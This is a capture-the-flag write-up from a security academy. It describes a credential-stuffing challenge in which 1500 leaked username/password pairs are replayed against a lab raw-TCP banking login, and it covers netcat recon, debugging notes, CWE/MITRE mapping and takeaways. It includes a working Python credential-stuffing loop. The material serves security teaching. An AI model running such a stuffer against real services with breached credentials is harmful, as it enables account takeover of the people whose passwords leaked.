Skip to content
Zone for Exploration and
Understanding of Security
← All writeups
Web Exploitation Medium

Credential Stuffing

CyLab 2026 · Web Exploitation · Medium

Technique
Credential stuffing (password reuse)
Target
Raw-TCP login, 1500 leaked pairs
Tools
Python sockets, netcat
Key lesson
Test success positively, not by absence
FLAG  ✓ captured — flag redacted
Attack Chain
Reconprotocol framing, 1-attempt/connection
→
Credential Stuffing1500 leaked pairs replayed
→
Reliability Fixsequential, read-to-close
→
Valid Loginflag captured

MITRE ATT&CK Mapping

Tactic Technique ID Evidence
Credential Access Brute Force: Credential Stuffing T1110.004 Replayed 1500 leaked username;password pairs against the login
Initial Access Valid Accounts T1078 One reused pair authenticated, granting access to the account

Vulnerability Analysis

Root Cause: The login has no real lockout or throttling on failed attempts — only an incidental concurrency cap unrelated to abuse prevention — so a leaked credential list can be replayed to completion.

  • CWE-307: Improper Restriction of Excessive Authentication Attempts — No account lockout or rate limiting stopped 1500 sequential login attempts

Severity: No CVSS score applies — this is a lab-built login service, not a scored vulnerability in a shipped product. The practical effect is account takeover whenever a user reuses a breached password.

References:
CWE-307

Summary

The challenge hands you 1500 leaked username;password pairs and one login — a raw-TCP “Online Banking Service” that prompts for a username then a password. Try every pair until one authenticates; the logged-in account prints the flag. Simple in theory — the interesting part was making the automation reliable.

The whole attack only works because people reuse passwords across sites. Credential stuffing is replaying one site's breach against another.

Recon

The dump is semicolon-separated, 1500 lines. The service is raw TCP (not HTTP): it prints Username: / Password:, and a failed attempt ends with Invalid username or password, then the server closes the connection — one attempt per connection.

shell
printf '\n' | nc xebec.cylabacademy.net 44232
# Welcome to the Online Banking Service!
# Username: Password:

The debugging path

My first two versions worked on the wrong assumptions. Fixing them is the real lesson:

  1. False positive. v1 treated “no ‘Invalid’ in the reply” as success. Under parallel load, a recv timed out before the reply arrived → empty text → false hit (riva:trent, which a manual check disproved).
  2. Stall at exactly 300. With concurrent workers it froze at ~300 attempts every run. It looked like a rate limit — but timing 12 rapid sequential connections showed all were fast (~0.6s each). So it was a concurrency cap, not a per-attempt limit.
  3. Fix: go fully sequential, and read until the server closes the socket so every reply is complete before judging it.

The working stuffer

python
def one_try(u, p, timeout=12):
    s = socket.socket(); s.settimeout(timeout); s.connect((HOST, PORT))
    s.sendall((u + "\n" + p + "\n").encode())
    data = b""
    while True:
        try: chunk = s.recv(4096)
        except socket.timeout: break
        if not chunk: break                 # server closed = complete reply
        data += chunk
        if b"Invalid username or password" in data: break
    s.close(); return data.decode(errors="replace")

for u, p in pairs:                           # one connection at a time
    txt = one_try(u, p)
    if "Invalid username or password" not in txt and "Password:" in txt:
        print("HIT", u, p); break            # real, complete success reply

Result

A few hundred pairs in, one leaked pair authenticated:

text
Authenticating...
Welcome <user>!
<flag redacted>

Takeaways

  • Test success positively. “No error” isn't “success” — a timeout looks identical. Require a real success marker.
  • Read until the server closes for one-shot TCP protocols, or you get truncated, ambiguous data.
  • Diagnose before assuming. One timing test disproved the “rate limit” theory and pointed at the real concurrency cap.
  • The flag spells out the moral: don't reuse credentials.

Practice next

Explore more web security challenges on CyLab Security Academy.

Explore CyLab Security Academy ↗